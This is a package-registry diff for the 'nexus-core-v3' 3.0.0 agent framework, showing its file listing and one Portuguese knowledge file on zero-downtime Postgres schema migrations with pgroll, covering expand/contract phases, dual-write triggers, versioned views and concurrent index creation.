nexus-core-v3 3.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +134 -0
- package/agents/README.md +133 -0
- package/agents/_protocol.md +107 -0
- package/agents/analyst.md +138 -0
- package/agents/architect.md +146 -0
- package/agents/data-engineer.md +170 -0
- package/agents/dev.md +134 -0
- package/agents/devops.md +141 -0
- package/agents/nexus-master.md +147 -0
- package/agents/pm.md +133 -0
- package/agents/po.md +138 -0
- package/agents/qa.md +192 -0
- package/agents/sm.md +122 -0
- package/agents/squad-creator.md +121 -0
- package/agents/ux-design-expert.md +165 -0
- package/artifact-manifest.json +903 -0
- package/bin/nexus.mjs +37 -0
- package/checklists/README.md +49 -0
- package/checklists/architect-checklist.md +47 -0
- package/checklists/change-checklist.md +61 -0
- package/checklists/db-predeploy-checklist.md +57 -0
- package/checklists/design-quality-checklist.md +57 -0
- package/checklists/discovery-checklist.md +36 -0
- package/checklists/foundation-checklist.md +39 -0
- package/checklists/launch-checklist.md +39 -0
- package/checklists/pm-checklist.md +48 -0
- package/checklists/po-master-checklist.md +64 -0
- package/checklists/reality-check-checklist.md +49 -0
- package/checklists/story-dod-checklist.md +52 -0
- package/checklists/story-draft-checklist.md +36 -0
- package/dist/bin/dashboard.html +279 -0
- package/dist/bin/nexus.mjs +20008 -0
- package/dist/constitution.yaml +76 -0
- package/knowledge/README.md +57 -0
- package/knowledge/architecture/architectural-styles-map.md +182 -0
- package/knowledge/architecture/design-patterns-gof.md +192 -0
- package/knowledge/architecture/distributed-patterns-cheatsheet.md +201 -0
- package/knowledge/architecture/saas-subscription-blueprint.md +355 -0
- package/knowledge/architecture/system-design-tradeoffs.md +231 -0
- package/knowledge/architecture/t3-fullstack-typesafe-stack.md +273 -0
- package/knowledge/copy/landing-copy-that-converts.md +168 -0
- package/knowledge/data/postgres-indexing-and-tuning.md +263 -0
- package/knowledge/data/schema-modeling-decisions.md +273 -0
- package/knowledge/data/supabase-rls-patterns.md +316 -0
- package/knowledge/data/zero-downtime-migrations.md +308 -0
- package/knowledge/devops/cicd-pipeline-best-practices.md +318 -0
- package/knowledge/devops/production-dockerfile.md +283 -0
- package/knowledge/devops/twelve-factor-app.md +398 -0
- package/knowledge/engineering/clean-code-principles.md +429 -0
- package/knowledge/engineering/effective-code-review.md +204 -0
- package/knowledge/engineering/testing-strategy-beyond-unit.md +307 -0
- package/knowledge/governance/risk-matrix.md +56 -0
- package/knowledge/integration/mcp-server-selection-matrix.md +235 -0
- package/knowledge/marketing/copy-que-converte.md +43 -0
- package/knowledge/marketing/funil-e-jornada.md +36 -0
- package/knowledge/negocios/proposta-vencedora.md +38 -0
- package/knowledge/negocios/roi-e-unit-economics.md +46 -0
- package/knowledge/pipeline/1-descobrir.md +26 -0
- package/knowledge/pipeline/2-estrategizar.md +26 -0
- package/knowledge/pipeline/3-estruturar.md +27 -0
- package/knowledge/pipeline/4-construir.md +27 -0
- package/knowledge/pipeline/5-endurecer.md +28 -0
- package/knowledge/pipeline/6-lancar.md +27 -0
- package/knowledge/pipeline/7-operar.md +27 -0
- package/knowledge/security/lgpd-conformidade-basica.md +35 -0
- package/knowledge/security/owasp-secure-coding-gates.md +220 -0
- package/knowledge/security/owasp-top10-threat-assessment.md +287 -0
- package/knowledge/security/threat-modeling-stride.md +34 -0
- package/knowledge/web-craft/a11y-audit-checklist.md +251 -0
- package/knowledge/web-craft/accessible-component-patterns.md +383 -0
- package/knowledge/web-craft/anti-ai-look.md +114 -0
- package/knowledge/web-craft/design-system-from-code.md +195 -0
- package/knowledge/web-craft/intrinsic-css-layout.md +420 -0
- package/knowledge/web-craft/style-cloning.md +185 -0
- package/knowledge/web-craft/visual-polish-review.md +183 -0
- package/package.json +55 -0
- package/runbooks/campanha-de-conteudo.md +36 -0
- package/runbooks/feature-em-projeto-existente.md +37 -0
- package/runbooks/mvp-startup.md +38 -0
- package/runbooks/resposta-a-incidente.md +37 -0
- package/squads/exemplo-conteudo/agents/editor-chefe.md +48 -0
- package/squads/exemplo-conteudo/agents/pesquisador.md +44 -0
- package/squads/exemplo-conteudo/agents/redator.md +45 -0
- package/squads/exemplo-conteudo/knowledge/estilo-editorial.md +21 -0
- package/squads/exemplo-conteudo/squad.yaml +19 -0
- package/squads/exemplo-conteudo/tasks/pesquisar-fontes.md +26 -0
- package/squads/exemplo-conteudo/tasks/planejar-pauta.md +27 -0
- package/squads/exemplo-conteudo/tasks/redigir-artigo.md +26 -0
- package/squads/exemplo-conteudo/tasks/revisar-artigo.md +27 -0
- package/squads/marketing/agents/analista.md +56 -0
- package/squads/marketing/agents/chefe-marketing.md +65 -0
- package/squads/marketing/agents/conteudo.md +55 -0
- package/squads/marketing/agents/copy.md +55 -0
- package/squads/marketing/agents/growth.md +56 -0
- package/squads/marketing/agents/social.md +55 -0
- package/squads/marketing/squad.yaml +17 -0
- package/squads/marketing/tasks/aprovar-campanha.md +43 -0
- package/squads/negocios/agents/chefe-negocios.md +65 -0
- package/squads/negocios/agents/financas-roi.md +55 -0
- package/squads/negocios/agents/suporte.md +55 -0
- package/squads/negocios/agents/vendas-proposta.md +56 -0
- package/squads/negocios/squad.yaml +17 -0
- package/squads/negocios/tasks/aprovar-proposta.md +40 -0
- package/squads/security/agents/appsec-reviewer.md +59 -0
- package/squads/security/agents/chefe-seguranca.md +65 -0
- package/squads/security/agents/compliance-auditor.md +60 -0
- package/squads/security/agents/threat-modeler.md +60 -0
- package/squads/security/squad.yaml +20 -0
- package/squads/security/tasks/aprovar-gate-seguranca.md +42 -0
- package/squads/security/tasks/emitir-parecer-conformidade.md +42 -0
- package/tasks/README.md +72 -0
- package/tasks/accessibility-wcag-checklist.md +69 -0
- package/tasks/advanced-elicitation.md +42 -0
- package/tasks/analyze-performance.md +54 -0
- package/tasks/analyze-project-structure.md +59 -0
- package/tasks/apply-qa-fixes.md +57 -0
- package/tasks/architect-analyze-impact.md +62 -0
- package/tasks/archive-squad.md +52 -0
- package/tasks/audit-codebase.md +53 -0
- package/tasks/build-component.md +61 -0
- package/tasks/calculate-roi.md +63 -0
- package/tasks/ci-cd-configuration.md +51 -0
- package/tasks/collect-visual-evidence.md +62 -0
- package/tasks/compose-molecule.md +57 -0
- package/tasks/consolidate-patterns.md +54 -0
- package/tasks/create-brownfield-prd.md +54 -0
- package/tasks/create-competitor-analysis.md +42 -0
- package/tasks/create-deep-research-prompt.md +62 -0
- package/tasks/create-doc.md +62 -0
- package/tasks/create-epic.md +49 -0
- package/tasks/create-front-end-spec.md +56 -0
- package/tasks/create-migration-plan.md +57 -0
- package/tasks/create-next-story.md +66 -0
- package/tasks/create-prd.md +53 -0
- package/tasks/create-project-brief.md +47 -0
- package/tasks/create-rls-policies.md +59 -0
- package/tasks/create-schema.md +57 -0
- package/tasks/create-service.md +55 -0
- package/tasks/create-squad.md +100 -0
- package/tasks/create-suite.md +62 -0
- package/tasks/db-apply-migration.md +56 -0
- package/tasks/db-domain-modeling.md +57 -0
- package/tasks/db-dry-run.md +50 -0
- package/tasks/db-env-check.md +57 -0
- package/tasks/db-load-csv.md +54 -0
- package/tasks/db-policy-apply.md +58 -0
- package/tasks/db-rollback.md +51 -0
- package/tasks/db-run-sql.md +61 -0
- package/tasks/db-seed.md +52 -0
- package/tasks/db-smoke-test.md +51 -0
- package/tasks/db-snapshot.md +48 -0
- package/tasks/db-verify-order.md +49 -0
- package/tasks/deliberate.md +46 -0
- package/tasks/design-indexes.md +59 -0
- package/tasks/dev-develop-story.md +61 -0
- package/tasks/document-project.md +59 -0
- package/tasks/execute-checklist.md +57 -0
- package/tasks/execute-epic-plan.md +52 -0
- package/tasks/execute-subtask.md +51 -0
- package/tasks/extend-pattern.md +63 -0
- package/tasks/extend-squad.md +60 -0
- package/tasks/extract-patterns.md +64 -0
- package/tasks/extract-tokens.md +59 -0
- package/tasks/facilitate-brainstorming-session.md +42 -0
- package/tasks/generate-ai-frontend-prompt.md +57 -0
- package/tasks/generate-documentation.md +60 -0
- package/tasks/generate-migration-strategy.md +57 -0
- package/tasks/generate-shock-report.md +56 -0
- package/tasks/mcp-management.md +66 -0
- package/tasks/orchestrate.md +50 -0
- package/tasks/perform-market-research.md +42 -0
- package/tasks/plan-create-context.md +57 -0
- package/tasks/plan-create-implementation.md +58 -0
- package/tasks/po-close-story.md +60 -0
- package/tasks/po-manage-story-backlog.md +59 -0
- package/tasks/po-pull-story.md +60 -0
- package/tasks/po-sync-story.md +59 -0
- package/tasks/pr-automation.md +50 -0
- package/tasks/pre-push-quality-gate.md +54 -0
- package/tasks/push.md +53 -0
- package/tasks/qa-browser-console-check.md +52 -0
- package/tasks/qa-create-fix-request.md +58 -0
- package/tasks/qa-evidence-requirements.md +55 -0
- package/tasks/qa-false-positive-detection.md +55 -0
- package/tasks/qa-fix-issues.md +55 -0
- package/tasks/qa-gate.md +53 -0
- package/tasks/qa-migration-validation.md +58 -0
- package/tasks/qa-nfr-assess.md +45 -0
- package/tasks/qa-review-story.md +56 -0
- package/tasks/qa-risk-profile.md +45 -0
- package/tasks/qa-security-checklist.md +64 -0
- package/tasks/qa-test-design.md +47 -0
- package/tasks/qa-trace-requirements.md +48 -0
- package/tasks/release-management.md +53 -0
- package/tasks/repository-cleanup.md +61 -0
- package/tasks/route.md +44 -0
- package/tasks/run-tests.md +50 -0
- package/tasks/security-audit.md +54 -0
- package/tasks/setup-database.md +60 -0
- package/tasks/setup-design-system.md +60 -0
- package/tasks/shard-doc.md +60 -0
- package/tasks/spec-assess-complexity.md +55 -0
- package/tasks/spec-critique.md +64 -0
- package/tasks/spec-gather-requirements.md +48 -0
- package/tasks/spec-research-dependencies.md +42 -0
- package/tasks/spec-write-spec.md +50 -0
- package/tasks/test-as-user.md +52 -0
- package/tasks/ux-create-wireframe.md +54 -0
- package/tasks/ux-user-research.md +55 -0
- package/tasks/validate-next-story.md +61 -0
- package/tasks/validate-squad.md +55 -0
- package/tasks/verify-subtask.md +52 -0
- package/tasks/version-management.md +45 -0
- package/templates/README.md +47 -0
- package/templates/architecture-tmpl.md +115 -0
- package/templates/competitor-analysis-tmpl.md +87 -0
- package/templates/epic-tmpl.md +83 -0
- package/templates/front-end-spec-tmpl.md +110 -0
- package/templates/market-research-tmpl.md +98 -0
- package/templates/migration-plan-tmpl.md +92 -0
- package/templates/prd-tmpl.md +95 -0
- package/templates/project-brief-tmpl.md +100 -0
- package/templates/qa-verdict-tmpl.md +73 -0
- package/templates/rls-policies-tmpl.md +93 -0
- package/templates/schema-design-tmpl.md +107 -0
- package/templates/spec-tmpl.md +88 -0
- package/templates/squad/agent-dna-tmpl.md +72 -0
- package/templates/squad/chief-dna-tmpl.md +98 -0
- package/templates/squad/squad-task-tmpl.md +50 -0
- package/templates/squad/squad-yaml-tmpl.md +47 -0
- package/templates/story-tmpl.md +63 -0
|
@@ -0,0 +1,308 @@
|
|
|
1
|
+
---
|
|
2
|
+
id: zero-downtime-migrations
|
|
3
|
+
domain: data
|
|
4
|
+
agents: [data-engineer]
|
|
5
|
+
when: "ao evoluir o schema em produção sem downtime nem quebrar a aplicação"
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Zero-downtime migrations — evoluir o schema sem parar a aplicação
|
|
9
|
+
|
|
10
|
+
A maioria das migrations quebra produção por um motivo só: **trata schema e código como se mudassem
|
|
11
|
+
no mesmo instante.** Eles não mudam. Entre o deploy do schema e o deploy de todas as réplicas da
|
|
12
|
+
aplicação existe uma janela em que **a versão antiga do app e a versão nova do schema convivem** — e é
|
|
13
|
+
nessa janela que tudo explode.
|
|
14
|
+
|
|
15
|
+
Este pack é o playbook **expand/contract** (também chamado de parallel change), o mesmo que ferramentas
|
|
16
|
+
como [pgroll](https://github.com/xataio/pgroll) automatizam para Postgres. A régua é grounded em SQL
|
|
17
|
+
real e nas garantias reais do Postgres — não em "boas práticas" vagas.
|
|
18
|
+
|
|
19
|
+
## O problema / o tell
|
|
20
|
+
|
|
21
|
+
Migration de produção é medíocre quando tem qualquer destes:
|
|
22
|
+
|
|
23
|
+
1. **`ALTER TABLE ... ADD COLUMN ... NOT NULL` sem default** — varre e reescreve a tabela inteira sob
|
|
24
|
+
`ACCESS EXCLUSIVE LOCK`. Trava toda leitura E escrita por segundos a minutos. Em tabela grande, é
|
|
25
|
+
downtime.
|
|
26
|
+
2. **`RENAME COLUMN` ou `DROP COLUMN` num único deploy** — a aplicação antiga ainda referencia o nome
|
|
27
|
+
velho. No instante do rename, toda query da versão antiga falha com `column does not exist`.
|
|
28
|
+
3. **Trocar tipo de coluna com `ALTER COLUMN ... TYPE`** — força reescrita de tabela + invalida o plano
|
|
29
|
+
das queries em flight. `int` → `bigint`, `text` → `varchar(n)`, todos reescrevem.
|
|
30
|
+
4. **`CREATE INDEX` (sem `CONCURRENTLY`)** — pega `SHARE LOCK`, bloqueia todas as escritas na tabela
|
|
31
|
+
durante a construção inteira do índice.
|
|
32
|
+
5. **`ADD CONSTRAINT ... CHECK` / `FOREIGN KEY` direto** — valida a tabela inteira sob lock antes de
|
|
33
|
+
liberar.
|
|
34
|
+
6. **Migration acoplada ao deploy do app** — "rodo o ALTER e subo o código junto". Não existe "junto"
|
|
35
|
+
num sistema com N pods atrás de um load balancer; existe uma janela onde versões coexistem.
|
|
36
|
+
7. **Sem caminho de rollback** — a migration aplica, dá problema em produção, e a única saída é outra
|
|
37
|
+
migration corretiva no susto (que também pode quebrar).
|
|
38
|
+
8. **Backfill num `UPDATE` único** — `UPDATE tabela SET nova = f(velha)` numa tabela de milhões de
|
|
39
|
+
linhas trava a tabela inteira numa transação gigante, infla o WAL e segura `VACUUM`.
|
|
40
|
+
|
|
41
|
+
O tell-mãe: **a migration assume que schema e app mudam atomicamente.** Eles nunca mudam. Toda mudança
|
|
42
|
+
quebradora precisa virar uma sequência de mudanças **aditivas e reversíveis** que passam por um estado
|
|
43
|
+
onde o schema é compatível com a versão antiga E a nova do app ao mesmo tempo.
|
|
44
|
+
|
|
45
|
+
## O conhecimento / os princípios
|
|
46
|
+
|
|
47
|
+
### 1. Expand → Contract: nunca mude, sempre adicione e depois remova
|
|
48
|
+
|
|
49
|
+
Toda mudança quebradora é decomposta em duas fases separadas por **deploys distintos**:
|
|
50
|
+
|
|
51
|
+
- **Expand (`pgroll start`):** adiciona o novo elemento *ao lado* do antigo, sem quebrar nada. Mudanças
|
|
52
|
+
puramente aditivas. O schema fica compatível com a versão velha e a nova do app simultaneamente.
|
|
53
|
+
- **Contract (`pgroll complete`):** só depois que **nenhuma** instância da aplicação antiga está mais
|
|
54
|
+
no ar, remove o elemento velho e as estruturas temporárias.
|
|
55
|
+
|
|
56
|
+
Entre as duas fases há um período de coexistência. É ele que dá o zero-downtime. Em pgroll o ciclo é
|
|
57
|
+
literal:
|
|
58
|
+
|
|
59
|
+
```bash
|
|
60
|
+
pgroll start migrations/02_make_description_not_null.yaml --postgres-url "postgres://..."
|
|
61
|
+
# ... deploy do app novo, validação, espera todo app velho sair ...
|
|
62
|
+
pgroll complete --postgres-url "postgres://..."
|
|
63
|
+
# ou, antes de completar, se algo deu errado:
|
|
64
|
+
pgroll rollback --postgres-url "postgres://..."
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
A regra inegociável: **expand e contract nunca no mesmo deploy.** Entre eles entra o deploy do código
|
|
68
|
+
que passa a usar o novo elemento.
|
|
69
|
+
|
|
70
|
+
### 2. Adicionar coluna `NOT NULL` em fases (o caso canônico)
|
|
71
|
+
|
|
72
|
+
Você **não** faz `ADD COLUMN ... NOT NULL`. Você faz aditivo, backfilla, e só então valida a constraint
|
|
73
|
+
— cada passo sem lock longo.
|
|
74
|
+
|
|
75
|
+
| Fase | Operação | Lock | Por quê é seguro |
|
|
76
|
+
|---|---|---|---|
|
|
77
|
+
| 1. Add nullable | `ADD COLUMN status text` (sem NOT NULL) | metadata-only no PG 11+ | Não reescreve a tabela; default volátil é evitado |
|
|
78
|
+
| 2. Backfill | `UPDATE` em **lotes** (10k linhas/batch) | row-level por lote | Não trava a tabela inteira numa transação só |
|
|
79
|
+
| 3. Constraint `NOT VALID` | `ADD CONSTRAINT ck CHECK (status IS NOT NULL) NOT VALID` | breve | `NOT VALID` **não** varre as linhas existentes |
|
|
80
|
+
| 4. Validar | `VALIDATE CONSTRAINT ck` | `SHARE UPDATE EXCLUSIVE` | Não bloqueia leitura nem escrita normal |
|
|
81
|
+
| 5. (opcional) Promover | `SET NOT NULL` aproveitando a CHECK já validada (PG 12+) | breve | PG reusa a CHECK e pula o full scan |
|
|
82
|
+
|
|
83
|
+
É exatamente o que pgroll gera por baixo: cria a coluna física nova, marca a constraint como
|
|
84
|
+
`CHECK (...) NOT NULL NOT VALID`, backfilla, e valida. O `up`/`down` da migration declara **como
|
|
85
|
+
preencher** os valores existentes:
|
|
86
|
+
|
|
87
|
+
```yaml
|
|
88
|
+
operations:
|
|
89
|
+
- alter_column:
|
|
90
|
+
table: users
|
|
91
|
+
column: description
|
|
92
|
+
nullable: false
|
|
93
|
+
up: SELECT CASE WHEN description IS NULL THEN 'No description provided' ELSE description END
|
|
94
|
+
down: description
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
- `up` = como popular a coluna nova a partir da antiga (backfill + dual-write para frente).
|
|
98
|
+
- `down` = como popular a antiga a partir da nova (dual-write para trás, usado no rollback).
|
|
99
|
+
|
|
100
|
+
Coluna nullable **com default** é o caso fácil — não precisa backfill, pgroll trata como aditivo puro:
|
|
101
|
+
|
|
102
|
+
```yaml
|
|
103
|
+
operations:
|
|
104
|
+
- add_column:
|
|
105
|
+
table: reviews
|
|
106
|
+
column:
|
|
107
|
+
name: rating
|
|
108
|
+
type: text
|
|
109
|
+
default: '0'
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
### 3. Dual-write por trigger: manter coluna velha e nova em sincronia
|
|
113
|
+
|
|
114
|
+
Durante a coexistência, escritas chegam pelas duas versões do app. A versão antiga escreve na coluna
|
|
115
|
+
velha; a nova, na coluna nova. Sem sincronização, uma fica desatualizada. pgroll resolve criando uma
|
|
116
|
+
**coluna física temporária** (ex.: `_pgroll_new_description`) e um **trigger** que propaga cada escrita
|
|
117
|
+
para a contrapartida, aplicando a expressão `up`/`down`. O esqueleto do que a trigger faz:
|
|
118
|
+
|
|
119
|
+
```sql
|
|
120
|
+
-- conceito do que pgroll gera automaticamente durante a migration ativa
|
|
121
|
+
CREATE OR REPLACE FUNCTION _pgroll_sync_description() RETURNS trigger AS $$
|
|
122
|
+
BEGIN
|
|
123
|
+
-- app novo escreveu na coluna nova → propaga pra velha (expressão down)
|
|
124
|
+
IF NEW._pgroll_new_description IS DISTINCT FROM OLD._pgroll_new_description THEN
|
|
125
|
+
NEW.description := NEW._pgroll_new_description;
|
|
126
|
+
-- app velho escreveu na coluna velha → propaga pra nova (expressão up)
|
|
127
|
+
ELSE
|
|
128
|
+
NEW._pgroll_new_description :=
|
|
129
|
+
CASE WHEN NEW.description IS NULL THEN 'No description provided' ELSE NEW.description END;
|
|
130
|
+
END IF;
|
|
131
|
+
RETURN NEW;
|
|
132
|
+
END;
|
|
133
|
+
$$ LANGUAGE plpgsql;
|
|
134
|
+
|
|
135
|
+
CREATE TRIGGER _pgroll_trigger_users__pgroll_new_description
|
|
136
|
+
BEFORE INSERT OR UPDATE ON users
|
|
137
|
+
FOR EACH ROW EXECUTE FUNCTION _pgroll_sync_description();
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
Se você faz **sem** pgroll, este é o padrão: trigger `BEFORE INSERT OR UPDATE` que mantém as duas
|
|
141
|
+
colunas coerentes durante toda a janela. No `complete`, a trigger e a coluna velha são derrubadas.
|
|
142
|
+
|
|
143
|
+
### 4. Views versionadas: cada versão do app enxerga seu próprio schema
|
|
144
|
+
|
|
145
|
+
O truque que torna rename/drop seguros: as aplicações **não acessam as tabelas físicas diretamente**.
|
|
146
|
+
Cada migration cria um **schema versionado** com **views** sobre as tabelas reais. pgroll nomeia os
|
|
147
|
+
schemas por versão:
|
|
148
|
+
|
|
149
|
+
```
|
|
150
|
+
public_01_initial_schema -- view: description
|
|
151
|
+
public_02_rename_description -- view: bio (mesma coluna física, nome novo)
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
A view da versão antiga continua expondo `description`; a da versão nova expõe `bio`. **A mesma coluna
|
|
155
|
+
física, dois nomes lógicos.** Por isso o rename não quebra ninguém: cada app vê o nome que conhece.
|
|
156
|
+
|
|
157
|
+
O app escolhe a versão setando o `search_path` — **dentro de uma transação**, senão a sessão pode pegar
|
|
158
|
+
outra conexão do pool:
|
|
159
|
+
|
|
160
|
+
```bash
|
|
161
|
+
export PGROLL_SCHEMA_VERSION=$(pgroll latest --with-schema --postgres-url "postgres://...")
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
```typescript
|
|
165
|
+
// driver postgres.js / node-postgres — SET e query NO MESMO transaction/session
|
|
166
|
+
const schema = process.env.PGROLL_SCHEMA_VERSION || 'public';
|
|
167
|
+
await db.transaction(async (tx) => {
|
|
168
|
+
await tx.execute(`SET search_path TO ${schema}`);
|
|
169
|
+
return tx.select().from(users);
|
|
170
|
+
});
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
Driver HTTP stateless **não serve** para esse padrão: `SET search_path` e a query precisam compartilhar
|
|
174
|
+
a mesma sessão.
|
|
175
|
+
|
|
176
|
+
### 5. Rename e Drop em fases seguras
|
|
177
|
+
|
|
178
|
+
**Rename** com views versionadas é trivial: a coluna física nunca muda de nome; só a view da nova versão
|
|
179
|
+
expõe o nome novo. Sem views, o rename vira um expand/contract de coluna inteira (add nova → dual-write
|
|
180
|
+
→ migrar leitores → drop velha) — mais caro, e é o motivo de as views existirem.
|
|
181
|
+
|
|
182
|
+
**Drop** segue a ordem inversa do add, e **drop é sempre na fase contract**:
|
|
183
|
+
|
|
184
|
+
1. Deploy do app que **para de ler/escrever** a coluna.
|
|
185
|
+
2. Confirmar que nenhuma instância antiga está no ar (a que ainda usa a coluna).
|
|
186
|
+
3. Só então `ALTER TABLE ... DROP COLUMN` (rápido, metadata-only — o espaço é recuperado pelo `VACUUM`).
|
|
187
|
+
|
|
188
|
+
Nunca dropar antes de o último app que a usa ter saído. É o erro nº 2 do tell.
|
|
189
|
+
|
|
190
|
+
### 6. `CREATE INDEX CONCURRENTLY` — e por que NÃO dentro de transação
|
|
191
|
+
|
|
192
|
+
Índice em produção é **sempre** `CONCURRENTLY`:
|
|
193
|
+
|
|
194
|
+
```sql
|
|
195
|
+
CREATE INDEX CONCURRENTLY idx_orders_status ON orders (status);
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
- `CREATE INDEX` normal pega `SHARE LOCK` → **bloqueia toda escrita** na tabela durante a construção
|
|
199
|
+
inteira.
|
|
200
|
+
- `CREATE INDEX CONCURRENTLY` constrói **sem bloquear** insert/update/delete concorrentes.
|
|
201
|
+
|
|
202
|
+
Mas vem com regras duras, todas reais do Postgres:
|
|
203
|
+
|
|
204
|
+
| Restrição | Consequência prática |
|
|
205
|
+
|---|---|
|
|
206
|
+
| **Não pode rodar dentro de transaction block** | Faz dois scans e espera transações abertas terminarem; precisa commitar entre as fases internas. Por isso pgroll executa `create_index` **fora** da transação da migration. |
|
|
207
|
+
| Faz **dois scans** da tabela + espera transações concorrentes | Demora bem mais que o `CREATE INDEX` normal — planeje para tabelas grandes. |
|
|
208
|
+
| Pode **falhar no meio** | Deixa um **índice inválido** (`INVALID`) para trás. Diferente do `CREATE INDEX` normal, que faz rollback limpo. |
|
|
209
|
+
| Recovery do índice inválido | `DROP INDEX CONCURRENTLY idx_orders_status;` e recriar. Detectar com a query de índices inválidos abaixo. |
|
|
210
|
+
|
|
211
|
+
```sql
|
|
212
|
+
-- encontrar índices que falharam no meio do CONCURRENTLY
|
|
213
|
+
SELECT c.relname
|
|
214
|
+
FROM pg_index i JOIN pg_class c ON c.oid = i.indexrelid
|
|
215
|
+
WHERE i.indisvalid = false;
|
|
216
|
+
```
|
|
217
|
+
|
|
218
|
+
Em pgroll é uma operação declarativa, e ele cuida de rodá-la fora da transação:
|
|
219
|
+
|
|
220
|
+
```json
|
|
221
|
+
{ "create_index": { "name": "idx_orders_status", "table": "orders", "columns": ["status"] } }
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
### 7. Compatibilidade backward/forward entre app e schema
|
|
225
|
+
|
|
226
|
+
A regra que governa a janela de coexistência:
|
|
227
|
+
|
|
228
|
+
- **Backward-compatible (expand):** o schema novo **não quebra** o app antigo. Add coluna nullable, add
|
|
229
|
+
índice, add view — o app velho ignora. Sempre seguro de deployar primeiro.
|
|
230
|
+
- **Forward-compatible (app):** o app novo **funciona com o schema velho** durante a janela (ex.: lê a
|
|
231
|
+
coluna nova mas tolera ela vazia/sincronizada por trigger).
|
|
232
|
+
|
|
233
|
+
Ordem de deploy que respeita as duas:
|
|
234
|
+
|
|
235
|
+
```
|
|
236
|
+
1. EXPAND schema (aditivo, backward-compat) → pgroll start
|
|
237
|
+
2. DEPLOY app novo (forward-compat, dual-write ativo)
|
|
238
|
+
3. ESPERA todo app antigo sair de produção
|
|
239
|
+
4. CONTRACT schema (drop do velho) → pgroll complete
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
Inverter qualquer passo abre uma janela de erro. Deployar o app novo antes do expand → ele lê coluna que
|
|
243
|
+
não existe. Fazer contract antes de o app velho sair → ele lê coluna que sumiu.
|
|
244
|
+
|
|
245
|
+
### 8. Rollback seguro de cada fase
|
|
246
|
+
|
|
247
|
+
O ponto do expand/contract: **enquanto não houve `complete`, o rollback é instantâneo e seguro.** A
|
|
248
|
+
coluna velha ainda existe, a trigger ainda sincroniza, a view antiga ainda responde.
|
|
249
|
+
|
|
250
|
+
| Estado | Rollback |
|
|
251
|
+
|---|---|
|
|
252
|
+
| Após `start`, antes de `complete` | `pgroll rollback` — derruba coluna nova, triggers e views da versão nova. App antigo nunca foi tocado. Zero risco. |
|
|
253
|
+
| Após `complete` | A coluna velha já foi dropada. Rollback agora = nova migration expand/contract no sentido inverso (não é "desfazer"). |
|
|
254
|
+
| Backfill em andamento | Interromper é seguro: as linhas já backfilladas ficam corretas (dual-write mantém), e o `down` reverte. |
|
|
255
|
+
|
|
256
|
+
A `down` de cada operação **é** o plano de rollback declarado de antemão — não algo improvisado no susto.
|
|
257
|
+
Para DDL que pgroll não cobre, use o escape hatch `sql` com `up`/`down`, ciente de que **não vem com a
|
|
258
|
+
garantia de zero-downtime**:
|
|
259
|
+
|
|
260
|
+
```yaml
|
|
261
|
+
operations:
|
|
262
|
+
- sql:
|
|
263
|
+
up: CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT)
|
|
264
|
+
down: DROP TABLE users
|
|
265
|
+
```
|
|
266
|
+
|
|
267
|
+
## Checklist "isto vai derrubar produção?"
|
|
268
|
+
|
|
269
|
+
Antes de aplicar, qualquer "sim" é um risco a corrigir:
|
|
270
|
+
|
|
271
|
+
- [ ] Tem `ADD COLUMN ... NOT NULL` sem default (full table rewrite sob `ACCESS EXCLUSIVE`)?
|
|
272
|
+
- [ ] Tem `RENAME`/`DROP COLUMN` no mesmo deploy do código que ainda usa o nome velho?
|
|
273
|
+
- [ ] Tem `ALTER COLUMN ... TYPE` que reescreve a tabela?
|
|
274
|
+
- [ ] Tem `CREATE INDEX` sem `CONCURRENTLY`?
|
|
275
|
+
- [ ] Tem `CREATE INDEX CONCURRENTLY` dentro de um transaction block (vai falhar)?
|
|
276
|
+
- [ ] Adicionou índice concorrente sem checar `indisvalid = false` depois (índice fantasma inválido)?
|
|
277
|
+
- [ ] Tem `ADD CONSTRAINT CHECK/FK` sem `NOT VALID` + `VALIDATE` em passo separado?
|
|
278
|
+
- [ ] O backfill é um `UPDATE` único na tabela inteira em vez de lotes (~10k linhas/batch)?
|
|
279
|
+
- [ ] A migration e o deploy do app estão acoplados (sem janela de coexistência)?
|
|
280
|
+
- [ ] Existe coluna velha sendo dropada **antes** de confirmar que o app antigo saiu de produção?
|
|
281
|
+
- [ ] Falta `down`/rollback declarado para cada operação?
|
|
282
|
+
- [ ] App usa `SET search_path` para schema versionado **fora** de uma transação (pode pegar outra conexão do pool)?
|
|
283
|
+
|
|
284
|
+
## Tabela de decisão "use X quando Y"
|
|
285
|
+
|
|
286
|
+
| Quando você precisa... | Use isto | Não use isto |
|
|
287
|
+
|---|---|---|
|
|
288
|
+
| Adicionar coluna obrigatória | add nullable → backfill em lotes → `CHECK NOT VALID` → `VALIDATE` → `SET NOT NULL` | `ADD COLUMN NOT NULL` direto |
|
|
289
|
+
| Adicionar coluna com valor padrão fixo | `ADD COLUMN ... DEFAULT 'x'` (aditivo, sem backfill no PG 11+) | backfill manual |
|
|
290
|
+
| Renomear coluna | view versionada expondo o nome novo (mesma coluna física) | `RENAME COLUMN` num deploy só |
|
|
291
|
+
| Remover coluna | drop **na fase contract**, após o último app que a usa sair | drop junto com o deploy do app |
|
|
292
|
+
| Trocar tipo de coluna | nova coluna + dual-write (`up`/`down`) + migrar leitores + drop velha | `ALTER COLUMN ... TYPE` in-place |
|
|
293
|
+
| Criar índice em produção | `CREATE INDEX CONCURRENTLY` (fora de transação) | `CREATE INDEX` (trava escritas) |
|
|
294
|
+
| Adicionar CHECK/FK | `ADD CONSTRAINT ... NOT VALID` depois `VALIDATE CONSTRAINT` | `ADD CONSTRAINT` que valida sob lock |
|
|
295
|
+
| Backfill de tabela grande | `UPDATE` em lotes (~10k/batch), commit por lote | um `UPDATE` na transação inteira |
|
|
296
|
+
